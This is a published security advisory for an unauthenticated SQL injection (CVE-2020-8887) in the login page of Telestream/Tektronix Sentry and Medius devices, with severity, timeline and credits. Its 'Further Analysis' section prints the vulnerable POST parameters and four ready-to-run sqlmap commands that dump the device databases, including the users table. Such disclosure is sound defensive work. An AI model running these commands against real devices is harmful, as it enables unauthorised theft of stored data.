# Telestream: SQL injection in Sentry/Medius

High **u269c** published **GHSA-g69r-8jwh-2462** on Sep 16, 2020

Package

Sentry/Medius

| Affected versions | Patched versions |
|---|---|
| < 10.7.5 | > 10.7.5 |

Description

## Summary

A SQL Injection Vulnerability was discovered by Matt Bell of Google Fiber Security in the following platforms:

- Telestream/Tektronix Sentry running 10.6.6 (and likely versions previous to 10.7.5)
- Telestream/Tektronix Medius running 10.6.2 (and likely versions previous to 10.7.5)

This vulnerability allows an unauthenticated attacker to perform SQL injection on the device, causing the device to return information stored in the system databases. This includes databases, tables, channel/feed subscriptions, etc.

## Severity

This is a high severity vulnerability for users of this platform as the attack can be conducted with no authentication and allows the exposure of database information. An unauthenticated attacker can enumerate and dump the contents of the databases stored on the system.

## Proof of Concept

The attack vector is a SQL injection vuln in index.php via POST to "_z=0&page=login&username=admin&passwd=1234&submit=+Log+In+"

## Further Analysis

**This was the initial command I ran to get the databases, schemas, tables, etc, using sqlmap for efficiency:**

```
sqlmap -u "http:///" --data="_z=0&page=login&username=admin&passwd=1234&submit=+Log+In+" --cookie="PHPSESSID=408c5b3c721a5da3b610aa6516be313d" --level=1 --risk=3 --batch --dbms=PostgreSQL --dump-format=csv --method=POST --current-user
```

**Then for the sake of efficiency, you can tune the scan to use specific databases and tables you find and start dumping tables...**

```
sqlmap -u "http:///" --data="_z=0&page=login&username=admin&passwd=1234&submit=+Log+In+" --cookie="PHPSESSID=408c5b3c721a5da3b610aa6516be313d" --level=3 --risk=3 --batch --dbms=PostgreSQL --dump-format=csv --method=POST --threads=3 -D public --count --output-dir=./
```

```
sqlmap -u "http:///" --data="_z=0&page=login&username=admin&passwd=1234&submit=+Log+In+" --cookie="noscript=0; PHPSESSID=408c5b3c721a5da3b610aa6516be313d" --level=3 --risk=3 --batch --dbms=PostgreSQL --dump-format=csv --method=POST --threads=3 -D public -T users --count --output-dir=./
```

**This command takes MUCH longer to run, but will enumerate all databases and tables and log all findings to a CSV file. I was able to dump the contents of all the tables it found.**

```
sqlmap -u "http:///" --data="_z=0&page=login&username=admin&passwd=1234&submit=+Log+In+" --cookie="noscript=0; PHPSESSID=5c71d6d59352a4313bf1200f9cbdf97" --level=3 --risk=3 --batch --dbms=PostgreSQL --dump-format=csv --method=POST --threads=3 -D public -T system_identification --columns --schema --dump-all --comments --count --output-dir=./
```

## Timeline

**Date reported**: October 8th, 2019
**Date fixed**: December. 18th 2019
**Date disclosed**: September 1, 2020

Severity

High

CVE ID

CVE-2020-8887

Weaknesses

No CWEs

Credits

securitygoon